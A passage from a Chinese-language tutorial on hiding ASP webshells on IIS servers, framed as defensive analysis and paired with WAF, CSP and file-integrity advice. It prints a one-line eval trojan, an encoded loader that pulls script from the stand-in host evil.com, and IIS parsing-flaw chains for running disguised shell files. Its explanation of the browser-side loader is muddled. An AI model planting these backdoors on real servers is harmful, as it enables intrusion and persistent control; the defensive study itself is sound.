Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

ASP 後門隱藏技術實戰解析:從插馬到非標準目錄的攻防視角

編輯:Windows XP 系統介紹

前言:技術中立性聲明

本文分析 ASP WebShell 隱藏與持久化技術,旨在協助防禦者理解攻擊者規避掃描、鑑別、取證的手法,部署有效的 WAF 規則、檔案完整性監控 (FIM)、EDR 行為規則。嚴禁用於未授權系統植入後門。所有技術基於公開的 IIS/ASP 執行機制。

技術一:插馬法——利用 JScript 在 HTML 端執行繞過 ASP 解析錯誤

原理

  • 傳統單行木馬 <%eval request("x")%> 插入 .asp 檔案中,若插入位置破壞 ASP 語法 (如在 <% %> 區塊外、HTML 標籤屬性內),IIS 解析報錯 500,立即暴露
  • JScript (JavaScript) 運行於客戶端/ASP 伺服器端雙模式:ASP 引擎支援 <%@ Language=JScript %>,但客戶端瀏覽器也能解析 JScript
  • 攻擊者將 JScript 版單行木馬 直接插入 .asp 檔案的 HTML 區塊 (如 <head>、<body> 後),ASP 引擎視為靜態文字原樣輸出,瀏覽器端執行 → 不觸發 ASP 解析錯誤

範例 (冰狐/哥斯拉 JScript 載入器片段)


<!-- 正常 ASP 頁面內容 -->
<html>
<head>
<title>正常頁面</title>
<script language="JScript" runat="server">
// 此處為伺服器端 JScript,會被 ASP 解析
</script>
<script language="JScript">
// 此處為客戶端 JScript,ASP 視為純文字輸出
// 攻擊者植入的載入器代碼 (經過混淆/編碼)
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%65%76%69%6C%2E%63%6F%6D%2F%6C%6F%61%64%65%72%2E%6A%73%27%29"));
</script>
</head>
<body>...</body>
</html>

偵測與緩解

  • 靜態掃描: 掃描 .asp 檔案中 <script language="JScript"> (無 runat="server") 且包含 eval/unescape/fromCharCode/activexobject 等敏感關鍵字
  • CSP (Content Security Policy): Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self'; 禁止內聯腳本與外部載入
  • WAF 規則: 攔截回應體含 <script>eval(、document.write(unescape 模式

技術二:非標準目錄 + IIS 路徑解析特性

手法

  1. 網站根目錄下建立 隨機高熵目錄名 (如 adai_7x9k2/)
  2. 將木馬 wind.asp 複製至該目錄
  3. 利用 IIS 預設允許目錄瀏覽/腳本執行 特性,直接訪問 /adai_7x9k2/wind.asp

進階:IIS 6.0/7.5 解析漏洞結合 (CVE-2010-0013 等)

  • 建立目錄 evil.asp/ (目錄名以 .asp 結尾)
  • 目錄內放入 shell.jpg (實為 ASP 代碼)
  • 訪問 /evil.asp/shell.jpg → IIS 將目錄視為腳本映射執行 shell.jpg 內代碼

偵測與緩解

  • FIM (檔案完整性監控): Tripwire/AIDE/OSSEC 監控 Web 根目錄 新增目錄/檔案 即時告警
  • IIS 處理程式映射最小化: 僅映射 .asp、.aspx、.ashx,移除 .*、.*/* 通配映射
  • 目錄執行權限移除: 除虛擬應用程式目錄外,所有目錄 Handler Mappings → Edit Feature Permissions → 取消 Script
  • WAF 規則: 攔截 URL 路徑含 .asp/、.asa/、.cer/ 等偽裝目錄模式

技術三:include 虛擬路徑 + IIS 解析漏洞鏈

手法 (針對 IIS 6.0/7.0/7.5 特定版本)

  1. 建立目錄 adai.asp/ (目錄名以 .asp 結尾)
  2. 目錄內建立 adai.jpg,寫入單行木馬代碼
  3. 網站根目錄建立 wind.txt,內容:<!--#include file="adai.asp/adai.jpg"-->
  4. 訪問 /wind.txt → IIS 解析 #include 指令 → 因目錄名 adai.asp 觸發腳本映射 → 執行 adai.jpg 內 ASP 代碼

隱藏增強

  • attrib +H +S adai.asp 設定目錄隱藏+系統屬性,dir /a 才可見
  • wind.txt 偽裝為日誌/配置檔,不引起注意

偵測與緩解

  • 禁用 SSI (Server Side Includes): IIS 功能 → 取消勾選「伺服器端包含」
  • WAF 規則: 攔截請求參數/URL 含